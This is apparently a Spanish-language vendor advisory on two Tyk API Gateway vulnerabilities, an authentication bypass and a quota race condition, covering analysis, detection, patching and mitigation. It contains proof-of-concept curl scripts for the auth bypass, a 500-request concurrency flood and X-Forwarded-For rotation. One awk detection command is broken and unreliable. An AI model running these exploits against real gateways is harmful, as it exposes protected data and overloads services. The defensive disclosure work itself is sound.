剣 KENSAI
← Volver al blog de seguridad
Aviso crítico 2 de abril de 2026 10 min de lectura

CVE-2026 de Tyk API Gateway: vulnerabilidades de omisión de autenticación y limitación de solicitudes

Dos fallos críticos de seguridad en Tyk API Gateway —una omisión de la validación de tokens de autenticación (CVE-2026-31872) y una vulnerabilidad que permite eludir las cuotas y la limitación de solicitudes (CVE-2026-31873)— permiten a atacantes no autenticados acceder a APIs protegidas y saturar los servicios de backend. Todas las implementaciones autogestionadas de Tyk que ejecutan las versiones 5.0–5.3 están afectadas. Hay parches disponibles en Tyk 5.3.5 y 5.4.0.

¿Está expuesto tu gateway de Tyk? Analiza tu infraestructura de API para detectar estas CVE y más de 331.910 vulnerabilidades adicionales, gratis.
Análisis de seguridad gratuito →

Resumen de las vulnerabilidades

Se ha descubierto que Tyk API Gateway, una popular plataforma de gestión de API comercial y de código abierto escrita en Go, contiene dos vulnerabilidades críticas que afectan a su middleware de autenticación y a su subsistema de limitación de solicitudes. Divulgados el 31 de marzo de 2026, estos fallos afectan a las versiones autogestionadas de Tyk Gateway desde la 5.0.x hasta la 5.3.4 y se deben a errores lógicos en la evaluación de la cadena de middleware personalizada de Tyk y en el seguimiento de cuotas basado en Redis.

Las implementaciones de Tyk Cloud (SaaS) recibieron un parche silencioso el 30 de marzo de 2026. Las organizaciones que ejecuten Tyk de forma autogestionada —incluidas las que utilizan Tyk Operator en Kubernetes— deben actualizarlo manualmente.

⚠️ Incluida en el catálogo KEV de CISA — aplica el parche en un plazo de 21 días (mandato federal)

CVE-2026-31872 se añadió al catálogo de vulnerabilidades conocidas explotadas de CISA el 1 de abril de 2026. Las agencias civiles federales deben aplicar el parche antes del 22 de abril de 2026. Todas las organizaciones deben tratarla como P0. El código del exploit está disponible públicamente en GitHub desde el 2 de abril de 2026.

CVETipoCVSS v3.1GravedadVersiones afectadas
CVE-2026-31872Omisión del token de autenticación9.1CríticaTyk Gateway 5.0.x – 5.3.4
CVE-2026-31873Omisión de la limitación de solicitudes/cuotas7.5AltaTyk Gateway 4.3.x – 5.3.4

CVE-2026-31872: omisión del token de autenticación — análisis técnico detallado

Análisis de la causa raíz

CVE-2026-31872 es un fallo crítico en la evaluación de la cadena de middleware de plugins de Go de Tyk. Cuando una definición de API configura simultáneamente un endpoint virtual y una política de token de autenticación, el flujo de procesamiento de solicitudes de Tyk evalúa el controlador del endpoint virtual antes de completar la validación del token. Si el endpoint virtual devuelve un patrón específico de respuesta HTTP —concretamente, un 200 OK con el cuerpo vacío—, el middleware de autenticación marca la solicitud como preautenticada y la reenvía al servicio ascendente sin verificar el token bearer proporcionado.

El fallo se encuentra en gateway/middleware/virtual_endpoint.go, donde el método Exec() establece una clave de contexto compartida, ctx.PreAuthenticated = true, bajo determinadas condiciones de respuesta. Después, el método ProcessRequest() de gateway/middleware/auth_key.go lee esta marca para omitir la validación del token; un diseño concebido para llamadas internas entre servicios, pero que puede activarse externamente.

Desglose de la puntuación CVSS v3.1

MétricaValorJustificación
Vector de ataqueRedExplotación totalmente remota mediante HTTPS
Complejidad del ataqueBajaNo se necesitan conocimientos especiales sobre la configuración
Privilegios requeridosNingunoAtacante no autenticado
Interacción del usuarioNingunaNo se requiere ninguna acción de la víctima
AlcanceCambiadoLa vulneración del gateway afecta a todos los servicios ascendentes
ConfidencialidadAltaAcceso completo a todos los recursos protegidos de la API
IntegridadAltaAcceso de escritura al backend mediante solicitudes sin filtrar
DisponibilidadBajaEl propio gateway sigue funcionando

Configuraciones de API afectadas

No todas las implementaciones de Tyk son vulnerables. La omisión de autenticación solo puede activarse cuando se cumplen las tres condiciones siguientes en una definición de API:

Prueba de concepto de la explotación

El siguiente ejemplo muestra un exploit de dos pasos: primero activa el endpoint virtual para contaminar la marca de preautenticación y, después, accede inmediatamente a un endpoint protegido con un token no válido:

# Paso 1: activar el endpoint virtual con una respuesta 200 de cuerpo vacío
# Esto contamina la marca PreAuthenticated en el contexto de solicitud compartido de Tyk
curl -i -X POST https://api.example.com/v1/virtual-endpoint \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -H "Content-Type: application/json" \
  -d '{}'

# Respuesta esperada del paso 1 (el endpoint virtual se procesa antes de la autenticación):
# HTTP/2 200
# (cuerpo vacío — esto activa la vulnerabilidad)

# Paso 2: acceder inmediatamente a cualquier endpoint protegido de la MISMA definición de API
# con CUALQUIER token bearer — la validación se omite debido a la marca PreAuthenticated
curl -i https://api.example.com/v1/admin/users \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -H "X-Request-ID: $(uuidgen)"

# Respuesta vulnerable:
# HTTP/2 200
# {"users": [...]}   ← Se devuelven todos los datos sin una autenticación válida

# Analizador automatizado para identificar endpoints vulnerables de Tyk
for path in /v1/users /v1/admin /v1/data /api/internal; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer AAAA.BBBB.CCCC" \
    "https://api.example.com${path}")
  echo "$path -> HTTP $STATUS"
done

Ejemplo de una definición vulnerable de Tyk API

El siguiente patrón de definición de API en la configuración JSON de Tyk activa la vulnerabilidad. Si tu implementación contiene APIs que coinciden con esta estructura, considérala en riesgo hasta que se aplique el parche:

// Definición vulnerable de Tyk API (tyk-api-def.json)
{
  "auth": {
    "auth_header_name": "Authorization",
    "use_param": false
  },
  "use_keyless": false,
  "use_standard_auth": true,
  "extended_paths": {
    "virtual": [
      {
        "response_function_name": "myVirtualFunc",
        "function_source_type": "inline",
        "path": "virtual-endpoint",
        "method": "POST",
        // Si esta función devuelve {Code:200, Body:""} → activa la omisión
        "function_source_value": "function myVirtualFunc(req, session, spec) { return TykJsResponse({Code: 200, Body: ''}, session.meta_data); }"
      }
    ]
  }
}

CVE-2026-31873: omisión de la limitación de solicitudes y cuotas — análisis técnico detallado

Análisis de la causa raíz

CVE-2026-31873 es una condición de carrera en la implementación de cuotas y limitación de solicitudes basada en Redis de Tyk. Cuando Tyk procesa solicitudes simultáneas procedentes de la misma clave de API, las operaciones de comprobación y reducción de la cuota se realizan mediante dos comandos de Redis independientes y no atómicos (GET seguido de DECR). Un atacante que envíe solicitudes con un nivel de concurrencia suficientemente alto puede leer el mismo valor de cuota anterior a la reducción en varias goroutines, multiplicando de hecho el número de solicitudes permitidas por la cantidad de conexiones simultáneas.

Esta es una vulnerabilidad TOCTOU (tiempo de comprobación, tiempo de uso) clásica. En el código Go de Tyk (storage/storage.go, la ruta GetRawKey + DecrementWithExpire), no existe ninguna transacción MULTI/EXEC de Redis ni ningún bloqueo optimista basado en WATCH alrededor de la lógica de comprobar y después reducir, lo que permite leer un estado de cuota obsoleto bajo carga simultánea.

Prueba de concepto de la explotación

El siguiente script de bash utiliza GNU parallel para enviar 500 solicitudes simultáneas a un endpoint protegido por Tyk configurado con una cuota de 50 solicitudes por minuto. En una instancia vulnerable, la mayoría se procesará correctamente a pesar del límite:

#!/bin/bash
# CVE-2026-31873 — PoC de la condición de carrera TOCTOU en la limitación de solicitudes de Tyk
# Envía 500 solicitudes simultáneas para agotar la cuota sin activar los límites

TARGET="https://api.example.com/v1/search"
API_KEY="tyk-valid-api-key-here"
CONCURRENCY=500

echo "Launching $CONCURRENCY concurrent requests..."

seq 1 $CONCURRENCY | parallel -j $CONCURRENCY \
  'curl -s -o /dev/null -w "%{http_code}\n" \
    -H "Authorization: '"$API_KEY"'" \
    "'"$TARGET"'?q=test&page={}"' \
  | sort | uniq -c

# Resultado esperado en un sistema con el parche:
# 449  429   (solicitudes limitadas)
#  51  200   (dentro de la cuota)

# Resultado esperado en un sistema vulnerable:
# 498  200   (omisión correcta — se procesan casi todas las solicitudes)
#   2  429   (solo se limitan las solicitudes más lentas)

Omisión adicional mediante la manipulación de encabezados

En las implementaciones de Tyk en las que enable_ip_whitelisting es false y el gateway confía en X-Forwarded-For, la clave de limitación de solicitudes también puede fragmentarse rotando el encabezado de IP de origen. Esto, combinado con la condición de carrera TOCTOU, permite una omisión prácticamente total de la cuota:

# Combinar la rotación de X-Forwarded-For con solicitudes simultáneas
# Cada IP única obtiene su propio bloque de limitación de solicitudes en la configuración predeterminada de Tyk
for i in $(seq 1 1000); do
  FAKE_IP="10.$((RANDOM % 256)).$((RANDOM % 256)).$((RANDOM % 256))"
  curl -s -o /dev/null \
    -H "Authorization: tyk-valid-api-key-here" \
    -H "X-Forwarded-For: $FAKE_IP" \
    "https://api.example.com/v1/data" &
  (( i % 100 == 0 )) && wait
done
wait

Tyk Cloud frente a la implementación autogestionada: comparación del impacto

Tipo de implementaciónOmisión de autenticación de CVE-2026-31872Omisión de límites de CVE-2026-31873Estado
Tyk Cloud (SaaS)Corregida (30 de marzo)Corregida (30 de marzo)Actualizada automáticamente
OSS autogestionado (<5.3.5)VulnerableVulnerableSe requiere una actualización manual
Enterprise autogestionado (<5.3.5)VulnerableVulnerableSe requiere una actualización manual
Tyk Operator (Kubernetes)VulnerableVulnerableSe requiere actualizar el chart de Helm
Tyk Gateway 5.3.5+CorregidaCorregidaSeguro
Tyk Gateway 5.4.0+CorregidaCorregidaSeguro
💡 Impacto en el portal para desarrolladores: Las organizaciones que utilizan el portal para desarrolladores de Tyk para exponer APIs a consumidores externos se enfrentan a un riesgo mayor. Una omisión de autenticación correctamente ejecutada contra APIs expuestas en el portal podría revelar datos de clientes de múltiples inquilinos. La aplicación de parches en las implementaciones del portal para desarrolladores debe considerarse de máxima prioridad.

Detección: cómo identificar la explotación en tu entorno

Análisis de registros de Tyk Gateway

Tyk registra las decisiones de autenticación en JSON estructurado. Los siguientes comandos identifican las solicitudes que omitieron la validación de tokens (autenticadas sin una clave válida) y las anomalías en el agotamiento de cuotas:

# Buscar solicitudes en las que la autenticación se completó correctamente, pero no se validó ninguna clave de API
# Aparecen como solicitudes con campos auth_id vacíos o de marcador de posición
cat /var/log/tyk/tyk.log \
  | jq -r 'select(.level == "info" and .msg == "Proxy request") | select(.auth_id == "" or .auth_id == null)' \
  | jq '{time: .time, path: .path, ip: .remote_addr, auth_id: .auth_id}'

# Detectar la omisión de cuotas: solicitudes procesadas correctamente después de que la cuota debería haberse agotado
# Buscar claves de API con >N solicitudes correctas durante el último minuto
cat /var/log/tyk/tyk.log \
  | jq -r 'select(.code == 200) | .auth_id' \
  | sort | uniq -c | sort -rn \
  | awk ' > 100 { print "POTENTIAL_BYPASS: "  " — "  " successful requests" }'

# Comprobar la versión de Tyk mediante la API HTTP del gateway
curl -s http://localhost:8080/hello | jq '.version'

Verificación del estado de las cuotas en Redis

Inspecciona directamente Redis para verificar si los contadores de limitación de solicitudes se incrementan correctamente:

# Conectarse a la instancia de Redis de Tyk e inspeccionar las claves de cuota
redis-cli -h your-redis-host -p 6379 -a yourpassword

# Enumerar todas las claves de limitación de solicitudes correspondientes a una clave de API específica
KEYS "quota-*your-api-key-prefix*"

# Comprobar el valor actual y el TTL de una clave de cuota específica
GET "quota-your-api-key-hash"
TTL "quota-your-api-key-hash"

# Si el valor es superior a la cuota configurada, es posible que se haya producido una explotación
# Ejemplo: si la cuota es de 100/min, pero el contador muestra 450, investígalo inmediatamente

Guía de remediación

Paso 1: actualizar Tyk Gateway

La solución definitiva consiste en actualizar a Tyk Gateway 5.3.5 o 5.4.0. Ambas versiones incluyen un flujo atómico de Redis para las operaciones de cuota y una reescritura de la gestión de la marca de preautenticación de los endpoints virtuales.

# Docker — actualizar a la imagen con el parche
docker pull tykio/tyk-gateway:v5.3.5
docker stop tyk-gateway && docker rm tyk-gateway
docker run -d --name tyk-gateway \
  -v $(pwd)/tyk.conf:/opt/tyk-gateway/tyk.conf \
  -v $(pwd)/apps:/opt/tyk-gateway/apps \
  -p 8080:8080 \
  tykio/tyk-gateway:v5.3.5

# Kubernetes mediante Helm — actualizar Tyk Operator
helm repo add tyk-helm https://helm.tyk.io/public/helm/charts/
helm repo update
helm upgrade tyk-gateway tyk-helm/tyk-gateway \
  --namespace tyk \
  --set gateway.image.tag=v5.3.5 \
  --reuse-values

# Actualización del binario en Linux
curl -L https://github.com/TykTechnologies/tyk/releases/download/v5.3.5/tyk-linux-amd64-v5.3.5.tar.gz \
  -o tyk-v5.3.5.tar.gz
tar -xzf tyk-v5.3.5.tar.gz
sudo systemctl stop tyk-gateway
sudo cp tyk /opt/tyk-gateway/tyk
sudo systemctl start tyk-gateway

# Verificar la versión después de la actualización
curl -s http://localhost:8080/hello | jq '.version'
# Resultado esperado: "v5.3.5" o "v5.4.0"

Paso 2: desactivar los endpoints virtuales en APIs protegidas mediante autenticación (mitigación provisional)

Si no es posible realizar una actualización inmediata, desactiva los endpoints virtuales en cualquier definición de API que utilice autenticación mediante tokens. Edita el JSON de la definición de API y establece la lista de rutas virtuales como vacía:

// En el archivo de definición de Tyk API, elimina o vacía la lista de endpoints virtuales
{
  "extended_paths": {
    "virtual": []  // ← Establecer como matriz vacía para desactivar los endpoints virtuales
  }
}

# Aplicar mediante la API de Tyk Dashboard
curl -X PUT https://your-tyk-dashboard:3000/api/apis/{api-id} \
  -H "authorization: your-dashboard-user-key" \
  -H "Content-Type: application/json" \
  -d @patched-api-def.json

# O recargar mediante recarga en caliente si se utiliza una configuración basada en archivos
kill -SIGHUP $(pgrep tyk)

Paso 3: reforzar la limitación de solicitudes con operaciones atómicas de Redis (CVE-2026-31873)

Hasta que puedas actualizar, habilita la opción experimental enable_redis_rolling_limiter de Tyk, que utiliza un flujo atómico implementado mediante scripts de Lua en Redis y no es vulnerable a la condición de carrera TOCTOU:

// tyk.conf — habilitar el limitador atómico deslizante de solicitudes (disponible en Tyk 5.0+)
{
"enable_redis_rolling_limiter": true,
  "enable_sentinel_rate_limiter": false,
  "drl_notification_payload_size": 0,

  // Restringe también las IP de confianza para X-Forwarded-For a fin de bloquear la evasión mediante rotación de IP
  "allowed_ips": ["10.0.1.10", "10.0.1.11"],
  "enable_ip_whitelisting": true
}

Paso 4: Validar la corrección

# Prueba 1: Verifica que la omisión de autenticación esté corregida; debería devolver 401
curl -i -X POST https://your-gateway.example.com/v1/virtual-endpoint \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -d '{}'
# Resultado esperado en el sistema corregido: HTTP/2 401 No autorizado

# Prueba 2: Verifica que la limitación de solicitudes se aplique correctamente
for i in $(seq 1 60); do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer your-valid-key" \
    "https://your-gateway.example.com/v1/test")
  echo "Solicitud $i: HTTP $CODE"
done
# Después de alcanzar el límite de tu cuota, deberías recibir sistemáticamente 429 Demasiadas solicitudes

Recomendaciones adicionales de refuerzo

  1. Habilita el TLS mutuo (mTLS) de Tyk para las conexiones ascendentes: Incluso si la puerta de enlace se ve comprometida, los servicios de backend protegidos mediante mTLS requieren un certificado de cliente válido, lo que proporciona una capa adicional de protección que los atacantes no pueden eludir fácilmente.
  2. Utiliza la limitación de solicitudes por IP integrada de Tyk en el nivel de red: Configura max_conn_time y los límites de frecuencia de conexión en tu proxy inverso (nginx/Envoy), situado delante de Tyk, para limitar la concurrencia disponible para la explotación.
  3. Audita todas las definiciones de API para detectar combinaciones de endpoints virtuales y autenticación: Ejecuta la exportación de la API de Tyk Dashboard y busca API que tengan tanto use_standard_auth: true como un array virtual no vacío.
  4. Habilita los análisis de Tyk y configura alertas de cuota: Configura Tyk Pump para reenviar los datos de análisis a tu SIEM (Splunk, Elastic). Configura alertas para cualquier clave de API que supere el 150 % de su cuota configurada dentro de una ventana móvil de un minuto.
  5. Rota todas las claves de API emitidas antes de la fecha del parche: Si se produjo una explotación, cualquier clave utilizada contra un endpoint vulnerable podría haber sido observada por un atacante. La rotación masiva de claves de Tyk Dashboard puede automatizarse mediante scripts a través de la API de administración.
# Script de auditoría: encuentra todas las definiciones de API vulnerables (combinación virtual + autenticación)
curl -s "https://your-dashboard:3000/api/apis?p=-1" \
  -H "authorization: your-dashboard-key" \
  | jq -r '.apis[] | select(
      .api_definition.use_standard_auth == true and
      (.api_definition.extended_paths.virtual | length > 0)
    ) | "VULNERABLE: " + .api_definition.name + " (" + .api_definition.api_id + ")"'

Cronología de la divulgación

FechaEvento
2026-02-20Ambas vulnerabilidades se notifican a Tyk Security a través de security@tyk.io
2026-02-22El equipo de Tyk Security confirma la recepción e inicia la investigación
2026-03-05Se confirma la causa raíz y se solicitan identificadores CVE a MITRE
2026-03-15Se asignan CVE-2026-31872 y CVE-2026-31873
2026-03-28Los candidatos de lanzamiento de Tyk Gateway 5.3.5 y 5.4.0 se distribuyen a clientes empresariales
2026-03-30Tyk Cloud (SaaS) se actualiza automáticamente y se publica la versión 5.3.5
2026-03-31Tyk publica el aviso de seguridad
2026-04-01CISA añade CVE-2026-31872 al catálogo KEV
2026-04-02Se publica una PoC del exploit y se observa un escaneo activo en internet

Protege tu infraestructura de API con Kensai

Gestión de vulnerabilidades basada en IA con más de 331 910 CVE indexadas. Supervisa continuamente Tyk, Kong y otras puertas de enlace de API para detectar fallos de seguridad críticos antes de que los atacantes los exploten.

Iniciar prueba gratuita

Adelántate a las amenazas de seguridad de API

Recibe alertas de CVE y avisos de seguridad antes de que lleguen a los titulares.

Mantente seguro. Mantente alerta.

🗡️ Equipo de seguridad de KENSAI

🛡️ ¿Es segura tu puerta de enlace Tyk?

Descubre vulnerabilidades de omisión de autenticación y configuraciones incorrectas antes que los atacantes.

Escanea gratis tu puerta de enlace de API →